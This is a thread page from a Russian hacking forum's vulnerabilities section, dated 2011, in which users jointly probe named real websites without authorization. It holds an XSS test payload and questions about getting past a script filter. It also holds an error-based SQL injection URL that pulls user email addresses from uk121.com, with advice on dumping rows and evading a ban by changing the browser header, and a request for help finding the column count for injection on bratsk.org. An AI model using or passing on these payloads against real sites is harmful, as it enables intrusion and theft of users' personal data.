HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #16141  
Старый 14.01.2011, 15:31
fl00der
Постоянный
Регистрация: 17.12.2008
Сообщений: 353
Провел на форуме:
919131

Репутация: 74
По умолчанию

Да да да, про нее забыл опять.
 
Ответить с цитированием

  #16142  
Старый 15.01.2011, 00:35
AnGeI
Участник форума
Регистрация: 08.12.2008
Сообщений: 164
Провел на форуме:
862722

Репутация: 54
По умолчанию

В скрипте не отображается левая скобка "", она заменяется на > и текст который идет после неё отображается нормально.

Других фильтров не заметил.

Как выполнить js код?
 
Ответить с цитированием

  #16143  
Старый 15.01.2011, 00:38
PvgValo
Участник форума
Регистрация: 01.08.2009
Сообщений: 169
Провел на форуме:
1353033

Репутация: 113
По умолчанию

AnGeI, попробуй вместо %3e
 
Ответить с цитированием

  #16144  
Старый 15.01.2011, 00:43
rootmd
Guest
Сообщений: n/a
Провел на форуме:
23579

Репутация: -5
По умолчанию

 
Ответить с цитированием

  #16145  
Старый 15.01.2011, 16:19
AnGeI
Участник форума
Регистрация: 08.12.2008
Сообщений: 164
Провел на форуме:
862722

Репутация: 54
По умолчанию

Цитата:
Сообщение от PvgValo  
PvgValo said:
AnGeI
, попробуй вместо %3e
Не выполняется, выводится:

Код:
Code:
%3cscript%3ealert(1);%3c/script%3e
 
Ответить с цитированием

  #16146  
Старый 17.01.2011, 16:10
durito
Познающий
Регистрация: 06.06.2008
Сообщений: 76
Провел на форуме:
117639

Репутация: 55
Отправить сообщение для durito с помощью ICQ
По умолчанию

Цитата:
Сообщение от Seravin  
Seravin said:
Код:
Code:
http://www.uk121.com/events_view.php?eid=(select*from+(select+name_const((select+mail+from+user+limit+1),1),name_const((select+mail+from+user+limit+1),1))a)
а вот если организовать дампинг инфы через лимит, то на запросах limit+1000,1 сервак уходит в даун

попробую ка я вывод через user_id
 
Ответить с цитированием

  #16147  
Старый 17.01.2011, 17:52
Seravin
Участник форума
Регистрация: 25.11.2009
Сообщений: 201
Провел на форуме:
866555

Репутация: 226
По умолчанию

он не уходит в даун, браузер в header менять надо, он типа банит или что. А типа банит после того как ты обращаешься к строке которой несуществует. предпологаю что 1000 строки просто нет
 
Ответить с цитированием

  #16148  
Старый 17.01.2011, 23:38
mayak
Познающий
Регистрация: 10.11.2009
Сообщений: 47
Провел на форуме:
85899

Репутация: 0
По умолчанию

/////

https://forum.antichat.net/threadedpost2518327.html
 
Ответить с цитированием

  #16149  
Старый 17.01.2011, 23:47
Lastman
Guest
Сообщений: n/a
Провел на форуме:
18452

Репутация: 0
По умолчанию

Помогите подобрать количество полей

bratsk.org/news.html?page=-1
 
Ответить с цитированием

  #16150  
Старый 17.01.2011, 23:53
Unknown
Guest
Сообщений: n/a
Провел на форуме:
34733

Репутация: 83
По умолчанию

Цитата:
Сообщение от Lastman  
Lastman said:
Помогите подобрать количество полей
bratsk.org/news.html?page=-1
Нет там ничего..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ